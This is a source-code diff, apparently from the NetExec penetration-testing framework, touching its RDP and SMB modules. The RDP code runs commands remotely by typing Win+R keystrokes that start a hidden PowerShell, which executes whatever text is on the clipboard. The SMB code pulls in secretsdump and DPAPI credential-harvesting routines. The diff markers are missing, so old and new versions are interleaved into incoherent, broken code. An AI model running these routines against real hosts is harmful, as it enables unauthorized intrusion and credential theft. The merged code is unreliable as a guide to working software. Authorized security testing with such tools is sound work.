"powershell.exe -NoLogo -NoProfile -NonInteractive -STA "
|
||||
'-WindowStyle Hidden -Command "Add-Type -AssemblyName '
|
||||
"System.Windows.Forms; Invoke-Expression "
|
||||
'([System.Windows.Forms.Clipboard]::GetText())"'
|
||||
)
|
||||
await self._send_enter()
|
||||
|
||||
async def _submit_typed_run_command(self, command):
|
||||
await self._send_win_r()
|
||||
await self._send_keystrokes(command, delay=0.005)
|
||||
await self._send_enter()
|
||||
|
||||
async def _wait_for_command_result(self, marker):
|
||||
loop = asyncio.get_running_loop()
|
||||
deadline = loop.time() + self.args.clipboard_delay
|
||||
|
||||
while True:
|
||||
remaining = deadline - loop.time()
|
||||
if remaining <= 0:
|
||||
raise TimeoutError
|
||||
|
||||
data = await self._wait_for_event({"CLIPBOARD_DATA_TXT"}, remaining)
|
||||
result = self._parse_execution_result(data.data, marker)
|
||||
if result is not None:
|
||||
return result
|
||||
self.logger.debug("Win+R sent successfully")
|
||||
return True
|
||||
except (ConnectionResetError, ConnectionError, OSError) as e:
|
||||
self.logger.debug(f"Connection error while waiting for clipboard: {e!s}")
|
||||
self.logger.fail("Connection was reset by the remote host")
|
||||
return False
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error sending Win+R: {e!s}")
|
||||
self.logger.debug("Using fallback approach for opening command prompt")
|
||||
return False
|
||||
|
||||
async def execute_shell(self, payload, get_output, shell_type):
|
||||
marker = uuid4().hex if get_output else None
|
||||
command = self._build_execution_command(payload, shell_type, marker, get_output)
|
||||
self.logger.debug(f"Executing {shell_type} command through {'an encoded PowerShell launcher' if get_output else 'interactive keyboard input'}")
|
||||
# Append | clip to send output to clipboard
|
||||
if shell_type == "cmd":
|
||||
payload_with_clip = f"{payload} | clip & exit"
|
||||
elif shell_type == "powershell":
|
||||
payload_with_clip = f"try {{ {payload} 2>&1 | clip}} catch {{ $_ | clip}}; exit"
|
||||
else:
|
||||
self.logger.fail(f"Unsupported shell type: {shell_type}")
|
||||
return None
|
||||
self.logger.debug(f"Executing command: {payload_with_clip}")
|
||||
|
||||
try:
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
await self.connect_rdp()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error connecting to RDP: {e!s}")
|
||||
return None
|
||||
|
||||
try:
|
||||
if get_output:
|
||||
self.logger.success("Waiting for clipboard to be ready...")
|
||||
try:
|
||||
await self._wait_for_event({"CLIPBOARD_READY"}, self.args.clipboard_delay)
|
||||
except TimeoutError:
|
||||
self.logger.fail("Clipboard cannot be initialized, no output can be retrieved")
|
||||
return None
|
||||
|
||||
await self._wait_for_desktop()
|
||||
|
||||
if get_output:
|
||||
# On first RDP logon after boot, Explorer may not be ready to
|
||||
# process Win+R immediately after the desktop appears. This
|
||||
# no-op warmup command absorbs the race: if the shell isn't
|
||||
# ready it silently fails, and the 3-second pause gives Explorer
|
||||
# time to finish initialization before the real command.
|
||||
await self._submit_typed_run_command(
|
||||
"powershell.exe -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden "
|
||||
'-Command "Add-Type -AssemblyName System.Windows.Forms"'
|
||||
)
|
||||
await asyncio.sleep(3)
|
||||
|
||||
if get_output:
|
||||
try:
|
||||
await self._submit_run_command(command)
|
||||
except TimeoutError:
|
||||
self.logger.fail("Remote session did not acknowledge the clipboard command data")
|
||||
return None
|
||||
else:
|
||||
await self._submit_typed_run_command(command)
|
||||
|
||||
if not get_output:
|
||||
clipboard_ready = False
|
||||
await asyncio.sleep(self.args.cmd_delay)
|
||||
self.logger.success("Executed command without retrieving output")
|
||||
return None
|
||||
|
||||
timeout_counter = 0
|
||||
while not clipboard_ready and timeout_counter < (self.args.clipboard_delay * 10): # Convert seconds to deciseconds
|
||||
try:
|
||||
data = await asyncio.wait_for(self.conn.ext_out_queue.get(), timeout=0.1)
|
||||
if hasattr(data, "type") and data.type.name == "CLIPBOARD_READY":
|
||||
clipboard_ready = True
|
||||
self.logger.debug("Clipboard is ready!")
|
||||
break
|
||||
except asyncio.TimeoutError:
|
||||
timeout_counter += 1
|
||||
continue
|
||||
except (ConnectionResetError, ConnectionError, OSError) as e:
|
||||
self.logger.debug(f"Connection error while waiting for clipboard: {e!s}")
|
||||
self.logger.fail("Connection was reset by the remote host")
|
||||
return ""
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error waiting for clipboard: {e!s}")
|
||||
self.logger.fail("Warning: Clipboard may not be fully initialized, no output can be retrieved")
|
||||
return ""
|
||||
|
||||
if not clipboard_ready:
|
||||
self.logger.fail("Clipboard cannot be initialized, no output can be retrieved")
|
||||
return ""
|
||||
|
||||
# Wait for desktop to be available
|
||||
await asyncio.sleep(self.args.cmd_delay)
|
||||
|
||||
try:
|
||||
exit_code, output = await self._wait_for_command_result(marker)
|
||||
except TimeoutError:
|
||||
self.logger.fail("Timed out waiting for command output on the RDP clipboard")
|
||||
# Try to open Run dialog using Windows+R
|
||||
self.logger.debug("Attempting to open Run dialog")
|
||||
win_r_success = await self._send_win_r()
|
||||
|
||||
if win_r_success:
|
||||
self.logger.debug(f"Launching {shell_type} via Run dialog")
|
||||
await self._send_keystrokes(f"{shell_type}.exe")
|
||||
await self._send_enter()
|
||||
await asyncio.sleep(self.args.cmd_delay) # Wait for cmd window to open
|
||||
else:
|
||||
# Fallback: Try direct command typing (assumes cmd may already be open)
|
||||
self.logger.debug(f"Sending {shell_type} command directly")
|
||||
await self._send_keystrokes(f"{shell_type}.exe")
|
||||
await self._send_enter()
|
||||
await asyncio.sleep(self.args.cmd_delay)
|
||||
|
||||
# Type the command with | clip
|
||||
self.logger.debug(f"Typing command: {payload_with_clip}")
|
||||
await self._send_keystrokes(payload_with_clip)
|
||||
await self._send_enter()
|
||||
|
||||
# Wait for command to execute
|
||||
await asyncio.sleep(self.args.cmd_delay)
|
||||
|
||||
if get_output:
|
||||
# Get the current clipboard text
|
||||
self.logger.debug("Getting clipboard content...")
|
||||
clipboard_text = await self.conn.get_current_clipboard_text()
|
||||
|
||||
if clipboard_text:
|
||||
self.logger.debug("Command output retrieved from clipboard:")
|
||||
for line in clipboard_text.lstrip().strip("\n").splitlines():
|
||||
self.logger.highlight(line)
|
||||
else:
|
||||
self.logger.fail("Clipboard is empty or contains non-text data")
|
||||
return clipboard_text
|
||||
else:
|
||||
self.logger.success("Executed command without retrieving output")
|
||||
|
||||
self.logger.debug("Command execution completed")
|
||||
return None
|
||||
|
||||
if exit_code != 0:
|
||||
self.logger.fail(f"Command completed with exit code {exit_code}")
|
||||
if output:
|
||||
for line in output.splitlines():
|
||||
self.logger.highlight(line)
|
||||
else:
|
||||
self.logger.debug("Command completed without output")
|
||||
return output
|
||||
except (ConnectionResetError, ConnectionError, OSError) as e:
|
||||
self.logger.debug(f"Connection error during command execution: {e!s}")
|
||||
self.logger.fail("Connection was reset by the remote host during command execution")
|
||||
return None
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error during command execution: {e!s}")
|
||||
if "cannot unpack non-iterable NoneType object" in str(e):
|
||||
self.logger.fail("RDP connection was terminated unexpectedly")
|
||||
else:
|
||||
self.logger.fail(f"Command execution failed: {e!s}")
|
||||
return None
|
||||
|
||||
except (ConnectionResetError, ConnectionError, OSError) as e:
|
||||
self.logger.debug(f"Connection error: {e!s}")
|
||||
@@ -684,6 +547,10 @@ Add-Type -AssemblyName System.Windows.Forms
|
||||
self.logger.debug(f"Unexpected error: {e!s}")
|
||||
self.logger.fail(f"Command execution failed: {e!s}")
|
||||
return None
|
||||
finally:
|
||||
# clean up the connection with a timeout to prevent aardwolf deadlock (see https://github.com/skelsec/aardwolf/issues/43)
|
||||
self.logger.debug("Terminating RDP connection")
|
||||
await self.terminate_conn()
|
||||
|
||||
def execute(self, payload=None, shell_type="cmd"):
|
||||
"""Execute a command via RDP"""
|
||||
@@ -692,70 +559,71 @@ Add-Type -AssemblyName System.Windows.Forms
|
||||
|
||||
get_output = bool(not self.args.no_output)
|
||||
|
||||
if not self.username: # every login method sets it, so empty means no credentials were given and there is no desktop to capture
|
||||
self.logger.fail("-x/-X need credentials")
|
||||
return None
|
||||
if self.conn.disconnected_evt.is_set(): # valid credentials without the RDP right open no session: skip silently, like smb -x without admin rights
|
||||
return None
|
||||
self.logger.success(f"Executing command: {payload}")
|
||||
self.logger.success(f"Executing command: {payload} with delay {self.args.cmd_delay} seconds")
|
||||
|
||||
try:
|
||||
result = self.runner.run(self.execute_shell(payload, get_output, shell_type))
|
||||
result = asyncio.run(self.execute_shell(payload, get_output, shell_type))
|
||||
|
||||
if result is not None:
|
||||
if result:
|
||||
self.logger.debug("Command execution completed")
|
||||
return result
|
||||
except Exception as e:
|
||||
self.logger.error(f"Command execution error: {e!s}")
|
||||
self.logger.fail(f"Execute command failed, error: {e!s}")
|
||||
if shell_type == "cmd":
|
||||
self.logger.info("Cannot execute command via cmd - now switching to PowerShell to attempt execution")
|
||||
try:
|
||||
return self.execute(payload, shell_type="powershell")
|
||||
except Exception as e2:
|
||||
self.logger.fail(f"Execute command failed, error: {e2!s}")
|
||||
else:
|
||||
self.logger.fail(f"Execute command failed, error: {e!s}")
|
||||
|
||||
def ps_execute(self):
|
||||
self.execute(payload=self.args.ps_execute, shell_type="powershell")
|
||||
|
||||
async def save_screenshot(self, desktop, label):
|
||||
filename_stem = sanitize_path_component(f"{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=251)
|
||||
filename = await (Path(NXC_PATH) / "screenshots" / f"{filename_stem}.png").expanduser()
|
||||
desktop.save(filename, "png")
|
||||
self.logger.highlight(f"{label} saved {filename}")
|
||||
|
||||
async def screen(self):
|
||||
try:
|
||||
await asyncio.sleep(self.args.screentime)
|
||||
if self.conn.desktop_buffer_has_data:
|
||||
await self.save_screenshot(self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL), "Screenshot")
|
||||
else:
|
||||
self.logger.fail(f"No desktop data after {self.args.screentime}s, try a longer --screentime")
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
await self.connect_rdp()
|
||||
|
||||
await asyncio.sleep(5)
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"Screenshot saved {filename}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Could not take the screenshot: {e!s}")
|
||||
self.logger.debug(f"Error taking screenshot: {e!s}")
|
||||
finally:
|
||||
await self.terminate_conn()
|
||||
|
||||
def screenshot(self):
|
||||
if not self.username: # every login method sets it, so empty means no credentials were given and there is no desktop to capture
|
||||
self.logger.fail("--screenshot needs credentials, use --nla-screenshot to capture the login screen")
|
||||
elif not self.conn.disconnected_evt.is_set(): # no session to capture: same silent skip as execute()
|
||||
self.runner.run(self.screen())
|
||||
asyncio.run(self.screen())
|
||||
|
||||
async def nla_screen(self):
|
||||
self.auth = NTLMCredential(secret="", username="", domain="", stype=asyauthSecret.PASS)
|
||||
connected = False
|
||||
|
||||
for proto in self.protoflags_nla:
|
||||
try:
|
||||
self.conn = self._create_rdp_connection(self.auth, supported_protocols=proto)
|
||||
self.iosettings.supported_protocols = proto
|
||||
self.conn = RDPConnection(iosettings=self.iosettings, target=self.target, credentials=self.auth)
|
||||
await self.connect_rdp()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}")
|
||||
await self.terminate_conn()
|
||||
continue
|
||||
|
||||
connected = True
|
||||
try:
|
||||
await asyncio.sleep(self.args.screentime)
|
||||
await asyncio.sleep(int(self.args.screentime))
|
||||
if self.conn is not None and self.conn.desktop_buffer_has_data is True:
|
||||
await self.save_screenshot(self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL), "NLA Screenshot")
|
||||
buffer = self.conn.get_desktop_buffer(VIDEO_FORMAT.PIL)
|
||||
filename = await Path(f"{NXC_PATH}/screenshots/{self.hostname}_{self.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.png").expanduser()
|
||||
buffer.save(filename, "png")
|
||||
self.logger.highlight(f"NLA Screenshot saved {filename}")
|
||||
return
|
||||
finally:
|
||||
await self.terminate_conn()
|
||||
self.logger.fail(f"No login screen data after {self.args.screentime}s, try a longer --screentime" if connected else "Could not connect without NLA to capture the login screen")
|
||||
|
||||
def nla_screenshot(self):
|
||||
if not self.nla:
|
||||
self.runner.run(self.nla_screen())
|
||||
asyncio.run(self.nla_screen())
|
||||
@@ -14,14 +14,14 @@ def proto_args(parser, parents):
|
||||
|
||||
egroup = rdp_parser.add_argument_group("Screenshot", "Remote Desktop Screenshot")
|
||||
egroup.add_argument("--screenshot", action="store_true", help="Screenshot RDP if connection success")
|
||||
egroup.add_argument("--screentime", type=int, default=5, help="Time to wait for desktop image")
|
||||
egroup.add_argument("--screentime", type=int, default=10, help="Time to wait for desktop image")
|
||||
egroup.add_argument("--res", default="1024x768", help="Resolution in WIDTHxHEIGHT format")
|
||||
|
||||
cgroup = rdp_parser.add_argument_group("Command Execution")
|
||||
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified command")
|
||||
cgroup.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
|
||||
cgroup.add_argument("--cmd-delay", type=int, default=5, help="Delay before executing the command and before disconnecting with --no-output")
|
||||
cgroup.add_argument("--clipboard-delay", type=int, default=30, help="Maximum time to wait for clipboard initialization and command output")
|
||||
cgroup.add_argument("--cmd-delay", type=int, default=5, help="Sleep time before executing command")
|
||||
cgroup.add_argument("--clipboard-delay", type=int, default=30, help="Maximum time to wait for clipboard initialization (seconds)")
|
||||
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
|
||||
|
||||
return parser
|
||||
+347
-147
@@ -6,16 +6,14 @@ import struct
|
||||
import ipaddress
|
||||
from pathlib import Path
|
||||
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.helpers.path import sanitize_filename
|
||||
from Cryptodome.Hash import MD4
|
||||
from textwrap import dedent
|
||||
from nxc.helpers.misc import sanitize_dns
|
||||
|
||||
from impacket.smbconnection import SMBConnection, SessionError
|
||||
from impacket.smb import SMB_DIALECT
|
||||
from impacket.smb3structs import SMB2_DIALECT_30, SMB2_NEGOTIATE_SIGNING_REQUIRED
|
||||
from impacket.examples.secretsdump import (
|
||||
LocalOperations,
|
||||
RemoteOperations,
|
||||
SAMHashes,
|
||||
LSASecrets,
|
||||
@@ -61,11 +59,11 @@ from impacket.smb3structs import (
|
||||
from impacket.dcerpc.v5 import tsts as TSTS
|
||||
|
||||
from nxc.config import process_secret, host_info_colors, check_guest_account, display_dc
|
||||
from nxc.connection import connection, sem, requires_admin
|
||||
from nxc.helpers.rpc import dcom_FirewallChecker
|
||||
from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker
|
||||
from nxc.helpers.misc import gen_random_string, validate_ntlm
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
|
||||
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
from nxc.protocols.smb.kerberos import kerberos_login_with_S4U, kerberos_altservice, get_realm_from_ticket
|
||||
from nxc.protocols.smb.wmiexec import WMIEXEC
|
||||
from nxc.protocols.smb.atexec import TSCH_EXEC
|
||||
@@ -78,13 +76,17 @@ from nxc.protocols.smb.samrfunc import SamrFunc
|
||||
from nxc.protocols.ldap.gmsa import MSDS_MANAGEDPASSWORD_BLOB
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.dpapi import DPAPITriage
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
from nxc.helpers.powershell import create_ps_command
|
||||
from nxc.helpers.misc import detect_if_ip
|
||||
from nxc.protocols.ldap.resolution import LDAPResolution
|
||||
|
||||
from dploot.lib.network.smb import SMBTarget as Target
|
||||
from dploot.triage.vaults import VaultsTriage
|
||||
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
|
||||
from dploot.triage.credentials import CredentialsTriage
|
||||
from dploot.triage.cng import CngTriage
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
|
||||
|
||||
from time import time, ctime, sleep
|
||||
from traceback import format_exc
|
||||
@@ -131,18 +133,18 @@ class smb(connection):
|
||||
self.server_os_major = None
|
||||
self.server_os_minor = None
|
||||
self.server_os_build = None
|
||||
self.os_arch = None
|
||||
self.os_arch = 0
|
||||
self.hash = None
|
||||
self.lmhash = ""
|
||||
self.nthash = ""
|
||||
self.remote_ops = None
|
||||
self.bootkey = None
|
||||
self.dpapi_system_key = None
|
||||
self.smbv1 = None # Check if SMBv1 is supported
|
||||
self.smbv3 = None # Check if SMBv3 is supported
|
||||
self.is_timed_out = False
|
||||
self.signing = False
|
||||
self.smb_share_name = smb_share_name
|
||||
self.pvkbytes = None
|
||||
self.no_da = None
|
||||
self.no_ntlm = False
|
||||
self.null_auth = False
|
||||
@@ -152,8 +154,6 @@ class smb(connection):
|
||||
self.tgt = None
|
||||
self.tgs = None
|
||||
|
||||
self._dpapi_triage = None
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
def proto_logger(self):
|
||||
@@ -187,7 +187,7 @@ class smb(connection):
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error retrieving os arch of {self.host}: {e!s}")
|
||||
|
||||
return None
|
||||
return 0
|
||||
|
||||
def enum_host_info(self):
|
||||
self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0]
|
||||
@@ -204,33 +204,28 @@ class smb(connection):
|
||||
self.no_ntlm = True
|
||||
self.logger.debug("NTLM not supported")
|
||||
|
||||
# Runs before the DC check: the RPC tier reuses its port 135 result instead of probing the port again
|
||||
self.os_arch = self.get_os_arch()
|
||||
|
||||
aggressive_check = bool(self.args.generate_hosts_file or self.args.generate_krb5_file)
|
||||
self.is_host_dc(aggressive_check=aggressive_check)
|
||||
|
||||
# self.domain is the attribute we authenticate with
|
||||
# self.targetDomain is the attribute which gets displayed as host domain
|
||||
# self.remoteName is the attribute which gets used in the SPN
|
||||
self.hostname = self.host
|
||||
self.targetDomain = self.host
|
||||
self.remoteName = self.host
|
||||
if not self.no_ntlm:
|
||||
# Try to get hostname with getServerDNSHostName as getServerName is truncated to 15 chars
|
||||
dns_hostname = sanitize_dns(self.conn.getServerDNSHostName() or self.conn.getServerName(), self.logger).upper()
|
||||
dns_hostname = self.conn.getServerDNSHostName().upper()
|
||||
if dns_hostname and "." in dns_hostname:
|
||||
self.hostname = dns_hostname.split(".", 1)[0]
|
||||
else:
|
||||
self.hostname = dns_hostname.split(".")[0]
|
||||
elif dns_hostname:
|
||||
self.hostname = dns_hostname
|
||||
self.targetDomain = sanitize_dns(self.conn.getServerDNSDomainName() or self.hostname, self.logger)
|
||||
# Preserve IP as target if not required by Kerberos to avoid issues when DNS is not resolvable
|
||||
self.remoteName = dns_hostname if self.kerberos else self.host
|
||||
else:
|
||||
self.hostname = self.conn.getServerName()
|
||||
self.targetDomain = self.conn.getServerDNSDomainName()
|
||||
if not self.targetDomain: # Not sure if that can even happen but now we are safe
|
||||
self.targetDomain = self.hostname
|
||||
else:
|
||||
try:
|
||||
# If we know the host is a DC we can still get the hostname over LDAP if NTLM is not available
|
||||
if self.isdc and detect_if_ip(self.host):
|
||||
self.hostname, self.domain, self.remoteName = LDAPResolution(self.host).get_resolution()
|
||||
self.hostname, self.domain = LDAPResolution(self.host).get_resolution()
|
||||
self.targetDomain = self.domain
|
||||
# If we can't authenticate with NTLM and the target is supplied as a FQDN we must parse it
|
||||
else:
|
||||
@@ -238,12 +233,19 @@ class smb(connection):
|
||||
import socket
|
||||
socket.inet_aton(self.host)
|
||||
self.logger.debug("NTLM authentication not available! Authentication will fail without a valid hostname and domain name")
|
||||
self.hostname = self.host
|
||||
self.targetDomain = self.host
|
||||
except OSError:
|
||||
if self.host.count(".") >= 1:
|
||||
self.hostname = self.host.split(".")[0]
|
||||
self.targetDomain = ".".join(self.host.split(".")[1:])
|
||||
else:
|
||||
self.hostname = self.host
|
||||
self.targetDomain = self.host
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error getting hostname from LDAP: {e}")
|
||||
self.hostname = self.host
|
||||
self.targetDomain = self.host
|
||||
|
||||
if self.args.domain:
|
||||
self.domain = self.args.domain
|
||||
@@ -258,6 +260,7 @@ class smb(connection):
|
||||
|
||||
# As of June 2024 Samba will always report the version as "Windows 6.1", apparently due to a bug https://stackoverflow.com/a/67577401/17395725
|
||||
# Together with the reported build version "0" by Samba we can assume that it is a Samba server. Windows should always report a build version > 0
|
||||
# Also only on Windows we should get an OS arch as for that we would need MSRPC
|
||||
try:
|
||||
self.server_os = self.conn.getServerOS()
|
||||
self.server_os_major = self.conn.getServerOSMajor()
|
||||
@@ -270,9 +273,9 @@ class smb(connection):
|
||||
if isinstance(self.server_os.lower(), bytes):
|
||||
self.server_os = self.server_os.decode("utf-8")
|
||||
|
||||
if "Windows 6.1" in self.server_os and self.server_os_build == 0:
|
||||
if "Windows 6.1" in self.server_os and self.server_os_build == 0 and self.os_arch == 0:
|
||||
self.server_os = "Unix - Samba"
|
||||
elif self.server_os_build == 0:
|
||||
elif self.server_os_build == 0 and self.os_arch == 0:
|
||||
self.server_os = "Unix"
|
||||
self.logger.debug(f"Server OS: {self.server_os} {self.server_os_major}.{self.server_os_minor} build {self.server_os_build}")
|
||||
|
||||
@@ -283,6 +286,8 @@ class smb(connection):
|
||||
except Exception as e:
|
||||
self.logger.debug(e)
|
||||
|
||||
self.os_arch = self.get_os_arch()
|
||||
|
||||
# moved at the end because it can cause issues with some DCs if we try to login as guest before checking if dc or not
|
||||
if check_guest_account and not self.no_ntlm:
|
||||
try:
|
||||
@@ -310,6 +315,9 @@ class smb(connection):
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error adding host {self.host} into db: {e!s}")
|
||||
|
||||
# DCOM connection with kerberos needed
|
||||
self.remoteName = self.host if not self.kerberos else f"{self.hostname}.{self.targetDomain}"
|
||||
|
||||
# using kdcHost is buggy on impacket when using trust relation between ad so we kdcHost must stay to none if targetdomain is not equal to domain
|
||||
if not self.kdcHost and self.domain and self.domain == self.targetDomain:
|
||||
result = self.resolver(self.domain)
|
||||
@@ -420,8 +428,6 @@ class smb(connection):
|
||||
if self.args.generate_st:
|
||||
self.save_st(tgs, sk, spn if self.args.spn else None)
|
||||
|
||||
if not tgs and not useCache:
|
||||
self.logger.debug(f"TGS for cifs/{self.remoteName} will be requested")
|
||||
self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs)
|
||||
|
||||
if self.args.generate_st:
|
||||
@@ -868,7 +874,9 @@ class smb(connection):
|
||||
if self.isdc is not None:
|
||||
return self.isdc
|
||||
|
||||
probes = [self._is_dc_via_smb, self._is_dc_via_rpc]
|
||||
probes = [self._is_dc_via_smb]
|
||||
if aggressive_check:
|
||||
probes.append(self._is_dc_via_rpc)
|
||||
if self.no_ntlm or aggressive_check:
|
||||
probes.append(self._is_dc_via_kerberos)
|
||||
|
||||
@@ -887,13 +895,17 @@ class smb(connection):
|
||||
session we already hold answers without enumerating every share (unlike
|
||||
listShares). ACCESS_DENIED still proves the share exists, hence a DC.
|
||||
|
||||
Meant to run while the null session is still fresh. Without a session
|
||||
this check is inconclusive: DCs can refuse the null bind (Server 2025
|
||||
does by default, as does an NTLM-disabled DC), so we hand off to the
|
||||
RPC/Kerberos tiers.
|
||||
Meant to run while the null session is still fresh. When there is no
|
||||
session, the reason is decisive: a DC with NTLM enabled always accepts
|
||||
the null bind, so "NTLM on + no null session" means this is NOT a DC.
|
||||
Only "NTLM disabled" is inconclusive here (a real DC can refuse the null
|
||||
bind then), so we hand that case off to the Kerberos tier.
|
||||
"""
|
||||
if not self.null_auth:
|
||||
self.logger.debug("No null session: SMB DC check inconclusive, deferring to RPC/Kerberos")
|
||||
if not self.no_ntlm:
|
||||
self.logger.debug("NTLM enabled but no null session: host is not a DC")
|
||||
return False
|
||||
self.logger.debug("No null session (NTLM disabled): deferring to Kerberos")
|
||||
return None
|
||||
try:
|
||||
tid = self.conn.connectTree("SYSVOL")
|
||||
@@ -949,17 +961,15 @@ class smb(connection):
|
||||
def _is_dc_via_rpc(self):
|
||||
"""
|
||||
Unauthenticated Netlogon endpoint-mapper lookup on 135. NTLM-agnostic
|
||||
and needs no session. get_os_arch() already talks to the endpoint mapper
|
||||
on every scan, so this adds no new port and runs only when that call
|
||||
reached 135 (no extra timeout when 135 is filtered, e.g. over proxychains).
|
||||
and needs no session;
|
||||
"""
|
||||
from impacket.dcerpc.v5 import nrpc, epm
|
||||
|
||||
if self.os_arch is None:
|
||||
self.logger.debug("Port 135 unreachable (OS arch probe failed): RPC inconclusive, deferring to Kerberos")
|
||||
if not self._is_port_open(135):
|
||||
self.logger.debug("Port 135 closed/filtered: RPC inconclusive, deferring to Kerberos")
|
||||
return None
|
||||
|
||||
self.logger.debug("Port 135 reachable, attempting Netlogon MSRPC lookup...")
|
||||
self.logger.debug("Port 135 is open, attempting Netlogon MSRPC lookup...")
|
||||
try:
|
||||
epm.hept_map(self.host, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
|
||||
self.logger.debug("Netlogon endpoint registered: host is a DC")
|
||||
@@ -1258,7 +1268,7 @@ class smb(connection):
|
||||
self.logger.error("Could not get process list")
|
||||
return
|
||||
|
||||
pidList = [i.getProcessInfo()["UniqueProcessId"] for i in res if i.getProcessInfo()["ImageName"].getValue().lower() == self.args.taskkill.lower()]
|
||||
pidList = [i["UniqueProcessId"] for i in res if i["ImageName"].lower() == self.args.taskkill.lower()]
|
||||
if not pidList:
|
||||
self.logger.fail(f"Could not find process named {self.args.taskkill}")
|
||||
return
|
||||
@@ -1372,12 +1382,12 @@ class smb(connection):
|
||||
@requires_admin
|
||||
def tasklist(self):
|
||||
# Formats a row to be printed on screen
|
||||
def format_row(procInfo, pSid):
|
||||
def format_row(procInfo):
|
||||
return template.format(
|
||||
str(procInfo["ImageName"].getValue()),
|
||||
str(procInfo["UniqueProcessId"]),
|
||||
str(procInfo["SessionId"]),
|
||||
pSid,
|
||||
procInfo["ImageName"],
|
||||
procInfo["UniqueProcessId"],
|
||||
procInfo["SessionId"],
|
||||
procInfo["pSid"],
|
||||
f"{procInfo['WorkingSetSize'] // 1000:,} K",
|
||||
)
|
||||
|
||||
@@ -1393,8 +1403,8 @@ class smb(connection):
|
||||
if not res:
|
||||
return
|
||||
self.logger.success("Enumerated processes")
|
||||
maxImageNameLen = max(len(i.getProcessInfo()["ImageName"].getValue()) for i in res)
|
||||
maxSidLen = max(len(i.getSid()) for i in res)
|
||||
maxImageNameLen = max(len(i["ImageName"]) for i in res)
|
||||
maxSidLen = max(len(i["pSid"]) for i in res)
|
||||
template = f"{{: <{maxImageNameLen}}} {{: <8}} {{: <11}} {{: <{maxSidLen}}} {{: >12}}"
|
||||
self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage"))
|
||||
self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", ""))
|
||||
@@ -1405,12 +1415,12 @@ class smb(connection):
|
||||
# If args.tasklist is not True then a process name was supplied
|
||||
if self.args.tasklist is not True:
|
||||
# So we look for it and print its information if found
|
||||
if self.args.tasklist.lower() in procInfo.getProcessInfo()["ImageName"].getValue().lower():
|
||||
if self.args.tasklist.lower() in procInfo["ImageName"].lower():
|
||||
found_task = True
|
||||
self.logger.highlight(format_row(procInfo.getProcessInfo(), procInfo.getSid()))
|
||||
self.logger.highlight(format_row(procInfo))
|
||||
# Else, no process was supplied, we print the entire list of remote processes
|
||||
else:
|
||||
self.logger.highlight(format_row(procInfo.getProcessInfo(), procInfo.getSid()))
|
||||
self.logger.highlight(format_row(procInfo))
|
||||
|
||||
# If a process was suppliad to args.tasklist and it was not found, we print a fail message
|
||||
if self.args.tasklist is not True and not found_task:
|
||||
@@ -1981,10 +1991,9 @@ class smb(connection):
|
||||
namespace = self.args.wmi_namespace
|
||||
|
||||
try:
|
||||
*_, tgt, _ = self.conn.getCredentials()
|
||||
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host, TGT=tgt)
|
||||
dcom = DCOMConnection(self.remoteName, self.username, self.password, self.domain, self.lmhash, self.nthash, oxidResolver=True, doKerberos=self.kerberos, kdcHost=self.kdcHost, aesKey=self.aesKey, remoteHost=self.host)
|
||||
iInterface = dcom.CoCreateInstanceEx(CLSID_WbemLevel1Login, IID_IWbemLevel1Login)
|
||||
flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout, self.logger)
|
||||
flag, stringBinding = dcom_FirewallChecker(iInterface, self.host, self.args.dcom_timeout)
|
||||
if not flag or not stringBinding:
|
||||
error_msg = f"WMI Query: Dcom initialization failed on connection with stringbinding: '{stringBinding}', please increase the timeout with the option '--dcom-timeout'. If it's still failing maybe something is blocking the RPC connection, try another exec method"
|
||||
|
||||
@@ -2161,10 +2170,10 @@ class smb(connection):
|
||||
